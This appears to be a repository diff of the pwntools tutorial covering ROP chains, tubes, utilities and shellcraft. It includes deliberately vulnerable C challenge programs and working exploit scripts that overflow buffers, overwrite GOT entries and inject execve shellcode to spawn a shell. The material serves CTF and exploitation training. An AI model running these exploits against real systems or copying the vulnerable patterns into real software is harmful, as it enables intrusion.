# 4278278088: Gadget(0xff0157c8, ['add esp, 0x130', 'pop rbp', 'ret'], ['rbp'], 0x138),
# 4278284789: Gadget(0xff0171f5, ['add esp, 0x138', 'pop rbx', 'pop rbp', 'ret'], ['rbx', 'rbp'], 0x144),
# 4278272966: Gadget(0xff0143c6, ['add esp, 0x18', 'ret'], [], 0x1c),
# 4278239612: Gadget(0xff00c17c, ['add esp, 0x20', 'pop rbx', 'pop rbp', 'pop r12', 'ret'], ['rbx', 'rbp', 'r12'], 0x30),
# 4278259611: Gadget(0xff010f9b, ['add esp, 0x28', 'pop rbp', 'pop r12', 'ret'], ['rbp', 'r12'], 0x34),
# ...
# 4278216828: Gadget(0xff00687c, ['pop rsp', 'pop r13', 'ret'], ['rsp', 'r13'], 0xc),
# 4278214225: Gadget(0xff005e51, ['pop rsp', 'ret'], ['rsp'], 0x8),
# 4278210586: Gadget(0xff00501a, ['ret'], [], 0x4)}
```
## Really Viewing *ALL* Gadgets
Pwntools ROP filters out non-trivial gadgets, so if it doesn't have something you want, we recommend using ROPGadget to inspect the binary.
# Adding Raw Data
In order to add raw data to the ROP stack, simply call `ROP.raw()`.
```py
rop.raw(0xdeadbeef)
rop.raw(0xcafebabe)
rop.raw('asdf')
```
# Dumping ROP stacks
Now that we have some gadgets, let's look at what's on the ROP stack:
```py
print(rop.dump())
# 0x0000: 0xdeadbeef
# 0x0004: 0xcafebabe
# 0x0008: b'asdf' 'asdf'
```
# Extracting the Raw Bytes
Now that we have a ROP stack, we want the raw bytes out of it. Use the `bytes()` method to do this.
```py
print(hexdump(bytes(rop)))
# 00000000 ef be ad de be ba fe ca 61 73 64 66 │····│····│asdf│
# 0000000c
```
# Calling Functions Magically
The real power of Pwntools' ROP tooling is the ability to invoke arbitrary functions, either via magic accessors or via the `ROP.call()` routine.
```
elf = ELF('/bin/sh')
rop = ROP(elf)
rop.call(0xdeadbeef, [0, 1])
print(rop.dump())
# 0x0000: 0xdeadbeef 0xdeadbeef(0, 1, 2, 3)
# 0x0004: b'baaa' <return address>
# 0x0008: 0x0 arg0
# 0x000c: 0x1 arg1
```
Notice here that it's using a 32-bit ABI, which is not correct. We can also do ROP against 64-bit binaries, but we need to set `context.arch` accordingly. We can use `context.binary` to do this automagically.
```
context.binary = elf = ELF('/bin/sh')
rop = ROP(elf)
rop.call(0xdeadbeef, [0, 1])
print(rop.dump())
# 0x0000: 0x61aa pop rdi; ret
# 0x0008: 0x0 [arg0] rdi = 0
# 0x0010: 0x5f73 pop rsi; ret
# 0x0018: 0x1 [arg1] rsi = 1
# 0x0020: 0xdeadbeef
```
# Calling Functions by Name
If your library has a function you want to call in its GOT/PLT, or there are symbols for the binary, you can invoke function names directly.
```
context.binary = elf = ELF('/bin/sh')
rop = ROP(elf)
rop.execve(0xdeadbeef)
print(rop.dump())
# 0x0000: 0x61aa pop rdi; ret
# 0x0008: 0xdeadbeef [arg0] rdi = 3735928559
# 0x0010: 0x5824 execve
```
# Multiple ELFs
Generally, more than one ELF is available in the address space of your process at a time. Let's look at an example that uses `/bin/sh` as well as its `libc`. Originally, we looked at `rop.rcx` and it was `None`, since there is no `pop rcx; ret` gadget in bash. However, now we have all of the gadgets from `libc` available as well.
```py
context.binary = elf = ELF('/bin/sh')
libc = elf.libc
elf.address = 0xAA000000
libc.address = 0xBB000000
rop.rax
# Gadget(0xaa00eb87, ['pop rax', 'ret'], ['rax'], 0x10)
rop.rbx
# Gadget(0xaa005fd5, ['pop rbx', 'ret'], ['rbx'], 0x10)
rop.rcx
# Gadget(0xbb09f822, ['pop rcx', 'ret'], ['rcx'], 0x10)
rop.rdx
# Gadget(0xbb117960, ['pop rdx', 'add rsp, 0x38', 'ret'], ['rdx'], 0x48)
```
Notice how the `rax` and `rbx` gadgets are in the main binary (0xAA...) while the second two are in libc (0xBB...).
Now let's do a more complex call!
```py
rop.memcpy(0xaaaaaaaa, 0xbbbbbbbb, 0xcccccccc)
print(rop.dump())
# 0x0000: 0xbb11c1e1 pop rdx; pop r12; ret
# 0x0008: 0xcccccccc [arg2] rdx = 3435973836
# 0x0010: b'eaaafaaa' <pad r12>
# 0x0018: 0xaa0061aa pop rdi; ret
# 0x0020: 0xaaaaaaaa [arg0] rdi = 2863311530
# 0x0028: 0xaa005f73 pop rsi; ret
# 0x0030: 0xbbbbbbbb [arg1] rsi = 3149642683
# 0x0038: 0xaa0058a4 memcpy
```
Note that Pwntools was able to use the `pop rdx; pop r12; ret` gadget, and account for the extra value needed on the stack. Also note that the symbolic value of each item is listen in `rop.dump()`. For example, it shows that we are settings rdx=3435973836.
# Getting a shell
Sometimes, getting a shell can be pretty easy! Let's call `execve` directly, and find an instance of `"/bin/sh\x00"` to pass as the first argument from somewhere within memory.
```py
context.binary = elf = ELF('/bin/sh')
libc = elf.libc
elf.address = 0xAA000000
libc.address = 0xBB000000
rop = ROP([elf, libc])
binsh = next(libc.search(b"/bin/sh\x00"))
rop.execve(binsh, 0, 0)
```
Show our ROP stack
```py
print(rop.dump())
# 0x0000: 0xbb11c1e1 pop rdx; pop r12; ret
# 0x0008: 0x0 [arg2] rdx = 0
# 0x0010: b'eaaafaaa' <pad r12>
# 0x0018: 0xaa0061aa pop rdi; ret
# 0x0020: 0xbb1b75aa [arg0] rdi = 3139138986
# 0x0028: 0xaa005f73 pop rsi; ret
# 0x0030: 0x0 [arg1] rsi = 0
# 0x0038: 0xaa005824 execve
```
Extract the raw bytes for the ROP
```py
print(hexdump(bytes(rop)))
# 00000000 e1 c1 11 bb 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
# 00000010 65 61 61 61 66 61 61 61 aa 61 00 aa 00 00 00 00 │eaaa│faaa│·a··│····│
# 00000020 aa 75 1b bb 00 00 00 00 73 5f 00 aa 00 00 00 00 │·u··│····│s_··│····│
# 00000030 00 00 00 00 00 00 00 00 24 58 00 aa 00 00 00 00 │····│····│$X··│····│
# 00000040
```

167
pwntools-tutorial/tubes.md Normal file
View File

@ -0,0 +1,167 @@
Table of Contents
=================
* [Tubes](#tubes)
* [Basic IO](#basic-io)
* [Receiving data](#receiving-data)
* [Sending data](#sending-data)
* [Manipulating integers](#manipulating-integers)
* [Processes and Basic Features](#processes-and-basic-features)
* [Interactive Sessions](#interactive-sessions)
* [Networking](#networking)
* [Secure Shell](#secure-shell)
* [Serial Ports](#serial-ports)
# Tubes
Tubes are effectively I/O wrappers for most types of I/O you'll need to perform:
- Local processes
- Remote TCP or UDP connections
- Processes running on a remote server over SSH
- Serial port I/O
This introduction provides a few examples of the functionality provided, but more complex combinations are possible. See [the full documentation][docs] for more information on how to perform regular expression matching, and connecting tubes together.
## Basic IO
The basic functions that you'll probably want out of your IO are:
### Receiving data
- `recv(n)` - Receive any number of available bytes
- `recvline()` - Receive data until a newline is encountered
- `recvuntil(delim)` - Receive data until a delimiter is found
- `recvregex(pattern)` - Receive data until a regex pattern is satisfied
- `recvrepeat(timeout)` - Keep receiving data until a timeout occurs
- `clean()` - Discard all buffered data
### Sending data
- `send(data)` - Sends data
- `sendline(line)` - Sends data plus a newline
### Manipulating integers
- `pack(int)` - Sends a word-size packed integer
- `unpack()` - Receives and unpacks a word-size integer
## Processes and Basic Features
In order to create a tube to talk to a process, you just create a `process` object and give it the name of the target binary.
```py
from pwn import *
io = process('sh')
io.sendline('echo Hello, world')
io.recvline()
# 'Hello, world\n'
```
If you need to provide command-line arguments, or set the environment, additional options are available. See [the full documentation][process] for more information;
```py
from pwn import *
io = process(['sh', '-c', 'echo $MYENV'], env={'MYENV': 'MYVAL'})
io.recvline()
# 'MYVAL\n'
```
Reading binary data isn't a problem either. You can receive up-to a number of bytes with `recv`, or block for an exact count with `recvn`.
```py
from pwn import *
io = process(['sh', '-c', 'echo A; sleep 1; echo B; sleep 1; echo C; sleep 1; echo DDD'])
io.recv()
# 'A\n'
io.recvn(4)
# 'B\nC\n'
hex(io.unpack())
# 0xa444444
```
## Interactive Sessions
Did you land a shell on the game server? Hurray! It's pretty easy to use it interactively.
```py
from pwn import *
# Let's pretend we're uber 1337 and landed a shell.
io = process('sh')
# <exploit goes here>
io.interactive()
```
## Networking
Creating a network connection is also easy, and has the exact same interface. A `remote` object connects to somewhere else, while a `listen` object waits for a connection.
```py
from pwn import *
io = remote('google.com', 80)
io.send('GET /\r\n\r\n')
io.recvline()
# 'HTTP/1.0 200 OK\r\n'
```
If you need to specify protocol information, it's also pretty straightforward.
```py
from pwn import *
dns = remote('8.8.8.8', 53, typ='udp')
tcp6 = remote('google.com', 80, fam='ipv6')
```
Listening for connections isn't much more complex. Note that this listens for exactly one connection, then stops listening.
```py
from pwn import *
client = listen(8080).wait_for_connection()
```
## Secure Shell
SSH connectivity is similarly simple. Compare the code below with that in "Hello Process" above.
You can also do more complex things with SSH, such as port forwarding and file upload / download. See the [SSH tutorial][ssh] for more information.
```py
from pwn import *
session = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
io = session.process('sh', env={"PS1":""})
io.sendline('echo Hello, world!')
io.recvline()
# 'Hello, world!\n'
```
## Serial Ports
In the event you need to get some local hacking done, there's also a serial tube. As always, there is more information in the [full online documentation][serial].
```py
from pwn import *
io = serialtube('/dev/ttyUSB0', baudrate=115200)
```
[docs]: https://pwntools.readthedocs.org/en/latest/tubes.html
[process]: https://pwntools.readthedocs.org/en/latest/tubes/processes.html
[ssh]: ssh.md
[remote]: https://pwntools.readthedocs.org/en/latest/tubes/sock.html
[serial]: https://pwntools.readthedocs.org/en/latest/tubes/serial.html

View File

@ -0,0 +1,150 @@
Table of Contents
=================
* [Utility Functions](#utility-functions)
* [Packing and Unpacking Integers](#packing-and-unpacking-integers)
* [File I/O](#file-io)
* [Hashing and Encoding](#hashing-and-encoding)
* [Base64](#base64)
* [Hashes](#hashes)
* [URL Encoding](#url-encoding)
* [Hex Encoding](#hex-encoding)
* [Bit Manipulation and Hex Dumping](#bit-manipulation-and-hex-dumping)
* [Hex Dumping](#hex-dumping)
* [Patten Generation](#patten-generation)
# Utility Functions
About half of Pwntools is utility functions so that you no longer need to copy paste things like this around:
```py
import struct
def p(x):
return struct.pack('I', x)
def u(x):
return struct.unpack('I', x)[0]
1234 == u(p(1234))
```
Instead, you just get nice little wrappers. As an added bonus, everything is a bit more legible and easier to understand when reading someone else's exploit code.
```py
from pwn import *
1234 == unpack(pack(1234))
```
## Packing and Unpacking Integers
This is probably the most common thing you'll do, so it's at the top. The main `pack` and `unpack` functions are aware of the global settings in [`context`](context.md) such as `endian`, `bits`, and `sign`.
You can also specify them explitily in the function call.
```py
pack(1)
# '\x01\x00\x00\x00'
pack(-1)
# '\xff\xff\xff\xff'
pack(2**32 - 1)
# '\xff\xff\xff\xff'
pack(1, endian='big')
# '\x00\x00\x00\x01'
p16(1)
# '\x01\x00'
hex(unpack('AAAA'))
# '0x41414141'
hex(u16('AA'))
# '0x4141'
```
## File I/O
A single function call and it does what you want it to.
```py
from pwn import *
write('filename', 'data')
read('filename')
# 'data'
read('filename', 1)
# 'd'
```
## Hashing and Encoding
Quick access to lots of functions to transform your data into whatever format you need it in.
#### Base64
```py
'hello' == b64d(b64e('hello'))
```
#### Hashes
```py
md5sumhex('hello') == '5d41402abc4b2a76b9719d911017c592'
write('file', 'hello')
md5filehex('file') == '5d41402abc4b2a76b9719d911017c592'
sha1sumhex('hello') == 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d'
```
#### URL Encoding
```py
urlencode("Hello, World!") == '%48%65%6c%6c%6f%2c%20%57%6f%72%6c%64%21'
```
#### Hex Encoding
```py
enhex('hello')
# '68656c6c6f'
unhex('776f726c64')
# 'world'
```
#### Bit Manipulation and Hex Dumping
```py
bits(0b1000001) == bits('A')
# [0, 0, 0, 1, 0, 1, 0, 1]
unbits([0,1,0,1,0,1,0,1])
# 'U'
```
#### Hex Dumping
```py
print hexdump(read('/dev/urandom', 32))
# 00000000 65 4c b6 62 da 4f 1d 1b d8 44 a6 59 a3 e8 69 2c │eL·b│·O··│·D·Y│··i,│
# 00000010 09 d8 1c f2 9b 4a 9e 94 14 2b 55 7c 4e a8 52 a5 │····│·J··│·+U|│N·R·│
# 00000020
```
## Pattern Generation
Pattern generation is a very handy way to find offsets without needing to do math.
Let's say we have a straight buffer overflow, and we generate a pattern and provide it to the target application.
```py
io = process(...)
io.send(cyclic(512))
```
In the core dump, we might see that the crash occurs at 0x61616178. We can avoid needing to do any analysis of the crash frame by just punching that number back in and getting an offset.
```py
cyclic_find(0x61616178)
# 92
```

View File

@ -0,0 +1,3 @@
challenge: challenge.c
gcc -g -m32 -fno-stack-protector -z execstack $^ -o $@

View File

@ -0,0 +1,27 @@
# Basic Buffer Overflow
This directory is the most basic, classic, stack-based buffer overflow.
The stack is executable, and the binary is not randomized.
A few things are demonstrated in this example:
- `process` tube
- `gdb.attach` for debugging processes
- `ELF` for searching for assembly instructions
- `cyclic` and `cyclic_find` for calculating offsets
- `pack` for packing integers into byte strings
- `asm` for assembling shellcode
- `shellcraft` for providing a shellcode library
- `tube.interactive` for enjoying your shell
Feel free to modify the example, and try some other shellcode snippet!
You can easily list the available shellcode from the command-line:
```
$ shellcraft | grep i386
...
i386.linux.execve
...
```

View File

@ -0,0 +1,12 @@
#include <stdio.h>
#include <stdlib.h>
int oh_look_useful() {
asm("jmp %esp");
}
int main() {
char buffer[32];
gets(buffer);
}

View File

@ -0,0 +1,48 @@
# Import everything in the pwntools namespace
from pwn import *
# Create an instance of the process to talk to
io = gdb.debug('./challenge')
# Attach a debugger to the process so that we can step through
pause()
# Load a copy of the binary so that we can find a JMP ESP
binary = ELF('./challenge')
# Assemble the byte sequence for 'jmp esp' so we can search for it
jmp_esp = asm('jmp esp')
jmp_esp = binary.search(jmp_esp).next()
log.info("Found jmp esp at %#x" % jmp_esp)
# Overflow the buffer with a cyclic pattern to make it easy to find offsets
#
# If we let the program crash with just the pattern as input, the register
# state will look something like this:
#
# EBP 0x6161616b ('kaaa')
# *ESP 0xff84be30 <-- 'maaanaaaoaaapaaaqaaar...'
# *EIP 0x6161616c ('laaa')
crash = False
if crash:
pattern = cyclic(512)
io.sendline(pattern)
pause()
sys.exit()
# Fill out the buffer until where we control EIP
exploit = cyclic(cyclic_find(0x6161616c))
# Fill the spot we control EIP with a 'jmp esp'
exploit += pack(jmp_esp)
# Add our shellcode
exploit += asm(shellcraft.sh())
# gets() waits for a newline
io.sendline(exploit)
# Enjoy our shell
io.interactive()

View File

@ -0,0 +1,3 @@
challenge: challenge.c
gcc -g -m32 -fstack-protector-all -pie -fPIC $^ -o $@

View File

@ -0,0 +1,7 @@
# ELF Symbol Lookups and GOT Overwrites
This is a position-independent binary which gives you a module address, and a trivial write-what-where.
The exploit demonstrates how to perform symbol lookups in the GOT, PLT, and other exported symbols. It also shows how to rebase the module when its actual base address is different from the ELF's base address (e.g. PIE).
Also as an added tip, it demonstrates the `context.binary` field, which not only automatically loads an ELF, but also automagically sets the `context.arch`, `context.bits`, and `context.endianness` variables to the appropriate ones.

View File

@ -0,0 +1,24 @@
#include <stdio.h>
#include <stdlib.h>
int oh_look_useful() {
system("/bin/sh");
}
int main() {
void *infoleak = &main;
write(1, &infoleak, sizeof(infoleak));
while(1) {
void **where;
void *what;
read(0, &where, sizeof(where));
read(0, &what, sizeof(what));
printf("*%p == %p\n", where, what);
*where = what;
}
}

View File

@ -0,0 +1,40 @@
# Import everything in the pwntools namespace
from pwn import *
# The target binary is 64-bit.
# While we can explicitly specify the architecture and other things
# in the context settings, we can also absorb them from the file.
context.binary = './challenge'
# Create an instance of the process to talk to
io = process(context.binary.path)
# Receive the address of main
main = io.unpack()
# Load up a copy of the ELF so we can look up its GOT and symbol table
elf = context.binary
# Fix up its base address. This automatically updates all of the symbols.
elf.address = main - elf.symbols['main']
# We want to overwrite the pointer for "read"
where = elf.got['read']
# We want to overwrite it with the address of the function that gives us a shell
what = elf.symbols['oh_look_useful']
# If we really wanted to, we could even find the address of "/bin/sh" in memory
binsh = elf.search("/bin/sh\x00").next()
log.info("Main: %x" % main)
log.info("Address: %x" % elf.address)
log.info("Where: %x" % where)
log.info("What: %x" % what)
# Send the payload
io.pack(where)
io.pack(what)
# Enjoy the shell
io.interactive()

View File

@ -0,0 +1,3 @@
challenge: challenge.c
arm-linux-gnueabihf-gcc -marm -g -fno-stack-protector -z execstack $^ -o $@

View File

@ -0,0 +1,20 @@
# Foreign Architecture
This example is the exact same as the Basic Buffer Overflow example, but demonstrates how to interact with foreign-architecture binaries.
In order for all of this to work, you'll need some cross-architecture libraries installed. FOr this example, we'll use ARM as it's easy to get the dependencies on Ubuntu.
Detailed instructions for setting up a foreign-architecture toolchain are available in my [StackExchange post][post]. While the topic is MIPS, the exact same steps apply.
If you just want the commands and no prose, here you go:
```sh
sudo apt-get install qemu qemu-user qemu-user-static
sudo apt-get install gdb-multiarch
sudo apt-get install libc6-armhf-armel-cross
sudo apt-get install gcc-arm-linux-gnueabihf
sudo mkdir /etc/qemu-binfmt
sudo ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm
```
[post]: http://reverseengineering.stackexchange.com/a/8917/12503

Binary file not shown.

View File

@ -0,0 +1,12 @@
#include <stdio.h>
#include <stdlib.h>
int oh_look_useful() {
asm("bx sp");
}
int main() {
char buffer[32];
gets(buffer);
}

View File

@ -0,0 +1,67 @@
# Import everything in the pwntools namespace
from pwn import *
# We need to tell pwntools that we're using ARM
#
# We forced the GCC compiler to emit ARM instructions instead of
# thumb, but if we did not, you would otherwise want to set it to
# 'thumb'.
context.arch = 'arm'
# You could also specify any number of things about the exploit
# In this case it's not necessary, as these are assumed.
context.bits = 32
context.endian = 'little'
# You can also specify everything in one line
context(bits=32, endian='little')
# Create an instance of the process to talk to
#
# Because this is a foreign-architecture binary, we cannot attach to it
# after it has been started. We must launch it under QEMU with a GDB
# stub. Luckily, this is very easy.
io = gdb.debug('./challenge')
# Load a copy of the binary so that we can find a JMP ESP
binary = ELF('./challenge')
# Assemble the byte sequence for 'bx sp' so we can search for it
# However, the assembler from GCC is using thumb.
jmp_esp = asm('bx sp')
jmp_esp = binary.search(jmp_esp).next()
log.info("Found jmp esp at %#x" % jmp_esp)
# Overflow the buffer with a cyclic pattern to make it easy to find offsets
#
# If we let the program crash with just the pattern as input, the register
# state will look something like this:
#
# *R11 0x61616169 ('iaaa')
# *R12 0xf6ffe294 <-- 0
# *SP 0xf6ffe270 <-- 'kaaa'
# *PC 0x6161616a ('jaaa')
crash = False
if crash:
pattern = cyclic(512)
io.sendline(pattern)
pause()
sys.exit()
# Fill out the buffer until where we control EIP
exploit = cyclic(cyclic_find(0x6161616a))
# Fill the spot we control EIP with a 'jmp eip'
exploit += pack(jmp_esp)
# Add our shellcode
exploit += asm(shellcraft.sh())
# gets() waits for a newline
io.sendline(exploit)
# Enjoy our shell
io.interactive()

View File

@ -0,0 +1,39 @@
from pwn import *
# Vortex Level 0 -> Level 1
#
# Level Goal
#
# Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read
# in 4 unsigned integers in host byte order. Add these integers together and
# send back the results to get a username and password for vortex1.
#
# This information can be used to log in using SSH.
#
# Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)
io = remote('vortex.labs.overthewire.org', 5842)
# You can receive data manually. We want exactly four bytes.
data = io.recvn(4)
# Now let's unpack them as a 32-bit little-endian integer
value = unpack(data, bits=32, endian='little')
# By default, pwntools sets everything to i386, which is 32-bit little endian.
# Because of this, there is no need to specify the extra arguments.
#
# The above line could instead just read:
value = unpack(data)
# There's also a helper available directly on the tube itself
# Let's read the other integers
value += io.unpack()
value += io.unpack()
value += io.unpack()
# Now let's send it back
io.pack(value)
# Receive all data until the connection closes
log.info(io.recvall())

View File

@ -0,0 +1,152 @@
# Advanced Shellcode
**Note**: You should check out the [basic](../shellcode-basic/README.md) and [intermediate](../shellcode-intermediate/README.md) tutorial first!
In order to build new modules and make them available via `shellcraft`, only a few steps are necessary.
First, all of the `shellcraft` templates are really just [Mako][mako] templates. Generally this is used for server-side scripting in Python web servers, but it fits the application of pasting together arbitrary bits of shellcode very well!
The templates are all located in the `pwnlib/shellcraft/templates/ARCH/OS` directories. For example `$ shellcraft i386.linux.sh` is actually invoking the template defined in [`pwnlib/shellcraft/templates/i386/linux/sh.asm`][sh]
## Syntax Highlighting
This generally helps make the templates more readable. Pwntools has a [syntax highlighting](https://github.com/Gallopsled/pwntools/blob/master/extra/textmate/README.md) plug-in for Sublime Text / TextMate.
## Anatomy of a Simple Template
For Pwntools, the general format of a template looks like what's shown below.
In particular, there are a few things to note about syntax:
- `<%` and `%>` contain Python code blocks
- `<%tag>` and `</%tag>` contain special tags defined by Pwntools or Mako
+ These are used to generate the function wrappers
- `${...}` is a Python expression
- `${var}` is replaced with the Python variable (as passed through `str()` or `%s`)
- `${function(...)}` is the same, the return value is inserted in its place
+ Mako templates just emit a string, this makes it very easy to nest them!
- Lines starting with `##` are ignored by Mako
- Everything else is emitted verbatim.
After copying the below template to `pwnlib/shellcraft/templates/i386/linux/demo.asm`, it can be invoked from Python or the command-line tool.
```sh
$ shellcraft i386.linux.demo 1 hello 1
6a6f6868656c6c6a015f89fb89e16a055a6a0458cd80ebfe
$ shellcraft i386.linux.demo 1 hello 1 -f asm | head -n3
/* Push the message onto the stack */
/* push 'hello\x00' */
push 0x6f
...
```
### Sample Template
```
<%
# The constants module lets the user provide the string 'SYS_execve',
# and then we can resolve it to the integer value.
#
# For example, on i386, constants.eval('SYS_execve') == 11
from pwnlib import constants
# Pushstr provides a simple way to get a string onto the stack
# with no NULLs or newlines in the emitted assembly.
from pwnlib.shellcraft.i386 import pushstr
# Mov provides a simple way to mov values into registers, or
# between registers, without caring which is occurring.
# It also is generally NULL- and newline-free.
#
# This is not a big deal on i386 since it's all the same instruction,
# but on RISC architectures it's really a requirement.
from pwnlib.shellcraft.i386 import mov
# All of the Linux syscalls have a small wrapper template around them.
# These are in turn a wrapper around the "syscall" template.
# The syscall template is in turn as wrapper around the "mov" template
# to move the values into the appropriate registers.
#
# Using the "write" syscall wrapper is much more convenient than writing
# everything out by hand, even if some of the code is duplicated.
from pwnlib.shellcraft.i386.linux import write
# The label template provides a way to ensure that all labels are unique.
# This is important if the same shellcode is included multiple times,
# which is common for simple loops.
from pwnlib.shellcraft.common import label
%>
## The arguments section allows us to specify arguments to the template.
## These are turned into Python arguments for the Python function wrapper.
<%page args="sock, message, spin=False"/>
## The docstring is useful and informative for users, but is not required.
## This is printed out with "shellcraft ... -?".
<%docstring>
Sends a message to a file descriptor, and then loops forever!
Arguments:
sock(int,reg): Socket to send the message over
message(str): Message to send
spin(bool): Infinite loop after sending the message
</%docstring>
## Templates can embed Python logic directly.
## Any variables or functions created in a block are available
## immediately in the template.
<%
target = label('target')
# This is not necessary since we're just passing it into
# the 'mov' template, which already does this.
# Just for demonstration purposes.
sock = constants.eval(sock)
%>
## Other templates are inserted as a Python function call.
/* Push the message onto the stack */
${pushstr(message)}
/* Set the socket into edi for fun */
${mov('edi', sock)}
/* Invoke the write syscall */
${write('edi', 'esp', len(message))}
## Templates can include conditional logic, to either include
## or exclude certain sections.
%if spin:
/* Loop forever */
${target}:
jmp ${target}
%endif
```
## Tips and Best Practices
And a few things to note about general "good style" for templates.
- Use `common.label` instead of a constant label is preferred, since `common.label` ensures the label name is unique, even if the shellcode template is used multiple times.
- Use the helper functions `mov`, `pushstr`, `syscall`, and the `syscall` wrappers (like `write` used below) instead of reinventing the wheel
+ On some architectures, these emit NULL- and newline-free shellcode
+ These themselves are just other shellcode templates with some logic
- Any integer fields should be passed through `constants.eval` so that well-known constant values can be used instead.
+ `constants.eval("SYS_execve") ==> int`
+ `int(constants.SYS_execve) ==> int`
+ If you're just passing it to another template, e.g. `mov`, this is already handled for you.
# FAQ and Common Problems
## "Reserved words declared in template"
You can't have any variables named `loop`, among some other things. It's a limitation of Mako.
## Template Caching
One problem you may run into is Mako template caching. In order to make Pwntools as speedy as possible, the compiled templates are cached. This is sometimes a burden on development of new shellcode, but in general is useful.
If you run into weird problems, try clearing the cache in `~/.pwntools-cache/mako` (or `~/.pwntools-cache/mako`).
[mako]: http://makotemplates.org
[sh]: https://github.com/Gallopsled/pwntools/blob/master/pwnlib/shellcraft/templates/i386/linux/sh.asm

View File

@ -0,0 +1,143 @@
# shellcode
Every once in a while, you'll need to run some shellcode.
Before jumping into how to do things in Python with pwntools, it's worth exploring the command-line tools as they can really make life easy!
## `asm`
This command line tool does what it says on the tin.
```sh
$ asm nop
90
$ asm 'mov eax, 0xdeadbeef'
b8efbeadde
```
There are a few output formats to choose from. By default, the tool writes hex-encoded output to stdout if it's a terminal. If it's a pipe or file, it will instead just write the binary data.
`phd` is a command that comes with pwntools which is very similar to `xxd`, but includes highlighting of printable ASCII values, NULL bytes, and some other special values.
```sh
$ asm nop -f hex
90
$ asm nop -f string
'\x90'
$ asm nop | phd
00000000 90 │·│
00000001
```
Different architectures and endianness values can be selected as well, as long as you have an appropriate version of `binutils` installed. See the [installation](installation.md) page for more information.
```sh
$ asm -c arm nop
00f020e3
$ asm -c powerpc nop
60000000
$ asm -c mips nop
00000000
```
Pwntools is also aware of most common constants, and resolves them in a context-sensitive manner.
```sh
$ asm 'push SYS_execve'
6a0b
$ asm -c amd64 'push SYS_execve'
6a3b
```
## `disasm`
Disasm is the counterpart to `asm`.
```sh
$ asm 'push eax' | disasm
0: 50 push eax
$ asm -c arm 'bx lr' | disasm -c arm
0: e12fff1e bx lr
```
## `shellcraft`
Shellcraft is the command-line interface to the shellcode library that comes with Pwntools. To get a list of all avialable shellcode, just use the `shellcraft` command by itself.
```sh
$ shellcraft
aarch64.linux.accept
aarch64.linux.access
aarch64.linux.acct
...
```
Many of the shellcraft templates are just syscall wrappers, designed to make shellcode easier. A few of them -- in particular `sh`, `dupsh`, and `echo` -- are compact implementations of common shellcode for `execve`, `dup2`ing file descriptors, and writing a string to `stdout`.
Like the `asm` tool, `shellcraft` has multiple output modes.
```sh
$ shellcraft i386.linux.sh
6a68682f2f2f73682f62696e89e331c96a0b5899cd80
$ shellcraft i386.linux.sh -fasm
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
/* call execve('esp', 0, 0) */
mov ebx, esp
xor ecx, ecx
push 0xb
pop eax
cdq /* Set edx to 0, eax is known to be positive */
int 0x80
```
## Debugging Shellcode
Invariably, you'll want to debug your shellcode, or just experiment with a small snippet. Pwntools makes this super easy!
### Emitting ELF files
The first option is to emit an ELF file which contains the shellcode, and load it in GDB manually.
```sh
$ shellcraft i386.linux.sh -f elf > sh
$ asm 'mov eax, 1; int 0x80' -f elf > exit
$ chmod +x sh exit
$ strace ./exit
execve("./exit", ["./exit"], [/* 94 vars */]) = 0
_exit(0) = ?
$ echo 'echo Hello!' | strace -e execve ./sh
execve("./sh", ["./sh"], [/* 94 vars */]) = 0
execve("/bin///sh", [0], [/* 0 vars */]) = 0
Hello!
```
Some of the commands may take options, and all of them should be documented. `shellcraft` will also resolve any constants it knows about.
```sh
$ shellcraft i386.linux.echo -?
Writes a string to a file descriptor
Arguments:
string(str): Message to print
sock: File descriptor. Default is ebp.
$ shellcraft i386.linux.echo "Hello, world" STDOUT_FILENO
686f726c64686f2c20776848656c6c6a015b89e16a0c5a6a0458cd80
$ shellcraft i386.linux.mov eax SYS_execve -fasm
push 0xb
pop eax
$ shellcraft i386.linux.mov eax SYS_execve
6a0b58
```
### Launching GDB
Instead of emitting an ELF and launching GDB manually, you can just jump straight into GDB.
```sh
$ shellcraft i386.linux.sh --debug
$ asm 'mov eax, 1; int 0x80;' --debug
```

View File

@ -0,0 +1,93 @@
# shellcode
**Note**: You should check out the [basic shellcode tutorial first](../shellcode-basic/README.md)!
Now that you've seen all of the tools available to you on the command-line, it's easy to learn about their Python counterparts.
## `asm`
The `asm` tool works pretty much the same way.
```python
from pwn import *
nop = asm('nop')
arm_nop = asm('nop', arch='arm')
```
Like most other things in Pwntools, it's aware of the settings in `context`.
```python
context.arch = 'powerpc'
powerpc_nop = asm('nop')
```
## `disasm`
The `disasm` tool also works pretty much the same way.
```python
from pwn import *
print disasm('\x90')
# nop
print disasm('\xff\x00\x40\xe3', arch='arm')
# 0: e34000ff movt r0, #255 ; 0xff
```
## `shellcraft`
The shellcraft module also works pretty much the same way. By default, the `shellcraft` module uses the currently-active OS and architecture from the `context` settings.
Alternately, you can directly invoke a specific template by its full path.
```python
from pwn import *
print shellcraft.sh()
# /* push '/bin///sh\x00' */
# push 0x68
# push 0x732f2f2f
# push 0x6e69622f
#
# /* call execve('esp', 0, 0) */
# mov ebx, esp
# xor ecx, ecx
# push 0xb
# pop eax
# cdq /* Set edx to 0, eax is known to be positive */
# int 0x80
context.arch = 'arm'
# print shellcraft.sh()
# adr r0, bin_sh
# mov r2, #0
# push {r0, r2}
# mov r1, sp
# svc SYS_execve
# bin_sh: .asciz "/bin/sh"
# Can also be explicitly invoked directly by path.
print shellcraft.i386.linux.sh()
```
Functions which take arguments work exactly like normal functions.
```python
from pwn import *
print shellcraft.pushstr("Hello!")
# /* push 'Hello!\x00' */
# push 0x1010101
# xor dword ptr [esp], 0x101206e
# push 0x6c6c6548
print shellcraft.pushstr("Goodbye!")
# /* push 'Goodbye!\x00' */
# push 0x1
# dec byte ptr [esp]
# push 0x21657962
# push 0x646f6f47
```